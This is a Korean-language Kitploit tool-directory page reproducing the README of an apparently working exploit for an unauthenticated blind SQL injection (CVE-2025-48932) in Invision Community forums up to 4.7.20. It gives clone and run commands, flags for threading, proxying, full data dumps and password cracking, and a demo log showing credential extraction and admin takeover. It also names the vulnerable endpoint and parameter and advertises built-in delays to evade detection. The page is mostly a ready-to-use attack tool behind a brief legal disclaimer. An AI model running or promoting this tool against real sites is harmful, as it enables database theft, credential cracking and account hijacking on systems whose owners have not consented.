Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-48932-Invision-Community-SQLi-Exploit — CVE-2025-48932 - Invision Community ≤ 4.7.20에 대한 인증되지 않은 SQL 인젝션 익스플로잇. 데이터베이스 열거, 자격 증명 덤프, 관리자 탈취, 세션 하이재킹 및 멀티스레딩을 통한 완전 자동화된 익스플로잇. 종속성 없음. Sudeepa Wanigarathna의 보안 연구 도구. | Kitploit
도구/GitHubGitHub/cerberusmrxi/cve-2025-48932-invision-community-sqli-exploit
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPost-ExploitationWeb SecurityPenetration Testing

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubcerberusmrxi/cve-2025-48932-invision-community-sqli-exploit

CVE-2025-48932-Invision-Community-SQLi-Exploit

CVE-2025-48932 - Invision Community ≤ 4.7.20에 대한 인증되지 않은 SQL 인젝션 익스플로잇. 데이터베이스 열거, 자격 증명 덤프, 관리자 탈취, 세션 하이재킹 및 멀티스레딩을 통한 완전 자동화된 익스플로잇. 종속성 없음. Sudeepa Wanigarathna의 보안 연구 도구.

저장소 보기
161개월 전아직 검토되지 않음

🔓 CVE-2025-48932 - Invision Community SQL 인젝션 익스플로잇

Python Version License Security Status CVE Exploit-DB PRs Welcome Maintenance Hits


⚡ 치명적인 취약점 개요

CVE-2025-48932은 Invision Community 버전 ≤ 4.7.20에서 발견된 심각한 수준의 인증되지 않은 블라인드 SQL 인젝션 취약점입니다. 이 익스플로잇을 통해 원격 공격자는 다음을 수행할 수 있습니다:

  • 🔍 민감한 데이터베이스 정보 추출
  • 👤 사용자 자격 증명 및 비밀번호 해시 탈취
  • 🔑 관리자 계정 탈취
  • 🎯 활성 사용자 세션 가로채기
  • 💻 관리자 탈취를 통한 원격 코드 실행(RCE) 달성
  • 📊 전체 데이터베이스 내용 덤프

🎯 기능


📊 데모 및 스크린샷

익스플로잇 실행

root@kitploit:~
$ python3 exploit.py -u https://vulnerable-site.com -v

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2025-48932 - Invision Community SQL Injection               ║
║  Author: Sudeepa Wanigarathna                                    ║
║  Critical: Unauthenticated Remote Code Execution                 ║
╚══════════════════════════════════════════════════════════════════╝

[*] Target: https://vulnerable-site.com
[*] Performing vulnerability assessment...
[+] Target is confirmed VULNERABLE!

[*] Enumerating database information...
[+] Database Information:
  Version: 10.4.32-MariaDB
  User: invision@localhost
  Database: invision_community
  Hostname: localhost
  Basedir: /usr/
  Datadir: /var/lib/mysql/

[*] Enumerating databases...
[+] Found 5 databases
  Found: information_schema
  Found: invision_community
  Found: mysql
  Found: performance_schema
  Found: phpmyadmin

[*] Enumerating tables in invision_community...
[+] Found 12 tables
  Found: core_members
  Found: core_sessions
  Found: admin_members
  Found: cms_categories
  Found: forums_posts
  ...

[*] Searching for credentials...
[+] Found credential table: core_members
  Credentials: admin - $2y$10$abcdefghijklmnopqrstuvwxyz...
  Credentials: moderator - $2y$10$1234567890abcdefghijklmnop...
  Credentials: user123 - $2y$10$qwertyuiopasdfghjklzxcvbnm...

[*] Extracting admin information...
[+] Admin Information Found:
  name: admin
  email: [email protected]
  id: 1
  password_hash: $2y$10$abcdefghijklmnopqrstuvwxyz...

[*] Attempting to crack password hash...
[+] Detected hash type: bcrypt
[+] Password cracked: Admin@2024!

[*] Attempting admin bypass...
[+] Admin login successful!
[+] Credentials: admin:Admin@2024!

[+] Exploitation complete!
[+] Report saved to invision_exploit_report_1700000000.json

JSON 출력 예시

root@kitploit:~
{
  "target": "https://vulnerable-site.com",
  "timestamp": "2026-08-02T12:34:56.789Z",
  "vulnerable": true,
  "database": {
    "version": "10.4.32-MariaDB",
    "user": "invision@localhost",
    "database": "invision_community",
    "hostname": "localhost"
  },
  "databases": [
    "information_schema",
    "invision_community",
    "mysql",
    "performance_schema",
    "phpmyadmin"
  ],
  "tables": [
    "core_members",
    "core_sessions",
    "admin_members"
  ],
  "credentials": [
    {
      "username": "admin",
      "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz...",
      "email": "[email protected]"
    }
  ],
  "admin_info": {
    "name": "admin",
    "email": "[email protected]",
    "id": "1",
    "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz..."
  },
  "summary": {
    "total_databases": 5,
    "total_tables": 12,
    "total_credentials": 3,
    "vulnerable": true,
    "successful": true
  }
}

🚀 빠른 시작 가이드

설치

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-48932-Invision-Community-SQLi-Exploit.git
cd CVE-2025-48932-Invision-Community-SQLi-Exploit

# No dependencies to install! Just run it.

기본 사용법

root@kitploit:~
# Check if target is vulnerable
python3 exploit.py -u https://example.com --check-only

# Full exploitation with verbose output
python3 exploit.py -u https://example.com -v

# With proxy (Burp Suite)
python3 exploit.py -u https://example.com -p http://127.0.0.1:8080 -v

# Save results to custom file
python3 exploit.py -u https://example.com -o results.json

# Multi-threaded extraction (faster)
python3 exploit.py -u https://example.com -t 10

# Dump all available data
python3 exploit.py -u https://example.com --dump-all

고급 사용법

root@kitploit:~
# With custom wordlist for password cracking
python3 exploit.py -u https://example.com --wordlist rockyou.txt -v

# Silent mode (no output, just report)
python3 exploit.py -u https://example.com -o silent_report.json

# Debug mode with detailed errors
python3 exploit.py -u https://example.com -v --debug

📋 요구 사항

시스템 요구 사항

  • Python: 3.6 이상
  • OS: Linux, Windows, macOS (Python이 실행되는 모든 OS)
  • 메모리: 최소 (~50MB RAM)
  • 저장 공간: ~100KB (익스플로잇만 해당)

종속성

root@kitploit:~
✅ No external dependencies!
✅ Pure Python standard library only!
✅ No pip install or virtual environment needed!

선택 사항 (비밀번호 크래킹용)

  • 워드리스트: rockyou.txt 또는 사용자 지정 워드리스트
    root@kitploit:~
    # Download popular wordlist
    wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
    

🛠️ 기술 세부 사항

취약점 위치

  • 파일: /applications/calendar/modules/front/calendar/view.php
  • 메서드: IPS\calendar\modules\front\calendar\view::search()
  • 매개변수: location (사용자 제공 입력)
  • 유형: Boolean 기반 블라인드 SQL 인젝션

공격 벡터

root@kitploit:~
GET /applications/calendar/modules/front/calendar/view.php?do=search&location=[SQL_INJECTION_PAYLOAD]

공격 체인

  1. 탐지: Boolean 기반 인젝션 탐지
  2. 열거: 데이터베이스 구조 추출
  3. 추출: 민감한 데이터 덤프
  4. 자격 증명 탈취: 사용자 자격 증명 추출
  5. 권한 상승: 관리자 계정 탈취
  6. 세션 하이재킹: 활성 세션 탈취
  7. 지속성: 백도어 설치 (선택 사항)

지원되는 데이터베이스 버전

  • MySQL 5.0+
  • MariaDB 5.5+
  • Percona Server

🔒 보안 및 법적 고지

⚠️ 중요 고지 사항

이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다.

이 도구를 사용함으로써 다음 사항에 동의하게 됩니다:

  • 소유하거나 테스트에 대한 명시적 허가를 받은 시스템에서만 사용
  • 불법 또는 악의적인 목적으로 사용하지 않음
  • 모든 적용 가능한 법률 및 규정 준수
  • 자신의 행동에 대한 전적인 책임 수용

컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다.

책임 있는 공개 (Responsible Disclosure)

  • 공급업체: Invision Community
  • 공개일: 2025년 5월 16일
  • 패치 버전: 4.7.21 (2025년 5월 27일)
  • CVE: CVE-2025-48932 할당됨

📚 문서

익스플로잇 인수

보고서 구조

root@kitploit:~
invision_exploit_report_[timestamp].json
├── target                 # Target URL
├── timestamp              # Exploit timestamp
├── vulnerable             # Vulnerability status
├── database               # Database information
├── databases              # List of databases
├── tables                 # List of tables
├── credentials            # Extracted credentials
├── admin_info             # Admin user information
└── summary                # Exploitation summary

🎯 사용 사례

보안 연구원

  • ✅ 취약점 검증
  • ✅ 개념 증명(PoC) 개발
  • ✅ 보안 평가
  • ✅ 버그 바운티 헌팅

침투 테스터

  • ✅ 외부/내부 침투 테스트
  • ✅ 레드 팀 운영
  • ✅ 취약점 확인
  • ✅ 컴플라이언스 테스트

시스템 관리자

  • ✅ 자체 시스템 보안 감사
  • ✅ 패치 검증
  • ✅ 침해 대응 조사
  • ✅ 보안 상태 평가

🐛 문제 해결

일반적인 문제 및 해결 방법

문제: 연결 시간 초과

root@kitploit:~
# Solution: Increase timeout or check network
python3 exploit.py -u https://example.com --timeout 60

문제: SSL 인증서 오류

root@kitploit:~
# Solution: Disable SSL verification (not recommended for production)
python3 exploit.py -u https://example.com --no-verify-ssl

문제: 속도 제한 감지됨

root@kitploit:~
# Solution: Reduce threads and increase delays
python3 exploit.py -u https://example.com -t 2 --delay 2

문제: 취약한 매개변수를 찾을 수 없음

root@kitploit:~
# Solution: Ensure calendar app is installed and GeoLocation is enabled
# Check: /applications/calendar/modules/front/calendar/view.php exists

📖 참고 자료

공식 자료

  • CVE-2025-48932
  • Invision Community
  • Invision Security Bulletin
  • 원본 권고

기술 참고 자료

  • OWASP SQL 인젝션
  • 블라인드 SQL 인젝션
  • MySQL 문서

관련 CVE

  • CVE-2024-xxxxx (이전 Invision 취약점)
  • CVE-2023-xxxxx (관련 커뮤니티 플랫폼 CVE)

🤝 기여

기여를 환영합니다! 기여 지침을 확인해 주세요.

기여 방법

  1. 저장소 포크
  2. 기능 브랜치 생성 (git checkout -b feature/AmazingFeature)
  3. 변경 사항 커밋 (git commit -m 'Add some AmazingFeature')
  4. 브랜치에 푸시 (git push origin feature/AmazingFeature)
  5. 풀 리퀘스트 열기

이슈 보고

  • 🐛 버그 보고
  • 💡 기능 요청
  • 🔒 보안 이슈

👨‍💻 작성자

Sudeepa Wanigarathna

보안 연구원 및 버그 바운티 헌터

  • 🌐 GitHub
  • 🐦 Twitter
  • 💼 LinkedIn
  • 📧 이메일

📄 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

root@kitploit:~
MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ 지지 표시

이 프로젝트가 도움이 되었거나 흥미로우셨다면:

  • ⭐ 이 저장소에 Star를 눌러 주세요
  • 🔗 네트워크와 공유해 주세요
  • 📢 보안 연구에서 언급해 주세요
  • 🤝 개선을 위해 기여해 주세요

🙏 감사의 말

Sudeepa Wanigarathna

사이버 보안 연구원 | 소프트웨어 엔지니어 | CTF 엔지니어

이 프로젝트는 보안 연구, 방어 분석 및 승인된 침투 테스트를 위해 제공됩니다. 사용자는 모든 적용 가능한 법률을 준수하고 사용 전에 적절한 승인을 받을 책임이 있습니다.

도구 다운로드
기능설명상태
🚀 제로 종속성순수 Python 표준 라이브러리 - pip 설치 불필요✅
⚡ 멀티 스레드구성 가능한 스레드로 초고속 데이터 추출✅
🤖 완전 자동화탐지부터 보고까지의 완전한 공격 체인✅
👑 관리자 탈취세션 하이재킹 및 권한 상승✅
🔑 자격 증명 덤프사용자, 비밀번호 해시, 이메일 추출✅
🔓 비밀번호 크래킹워드리스트를 지원하는 내장 해시 크래킹✅
📋 JSON 보고분석 및 문서화를 위한 구조화된 출력✅
🔌 프록시 지원Burp Suite 및 사용자 지정 프록시 통합✅
🎨 컬러 출력진행 표시기가 포함된 보기 좋은 터미널 출력✅
🛡️ 속도 제한탐지 회피를 위한 내장 지연✅
인수설명예시
-u, --url대상 URL (필수)-u https://example.com
-p, --proxy프록시 URL-p http://127.0.0.1:8080
-t, --threads스레드 수 (기본값: 5)-t 10
-o, --output결과 출력 파일-o results.json
-v, --verbose상세 출력 활성화-v
--check-only취약점만 확인--check-only
--dump-all사용 가능한 모든 데이터 덤프--dump-all
--wordlist크래킹용 워드리스트 파일--wordlist rockyou.txt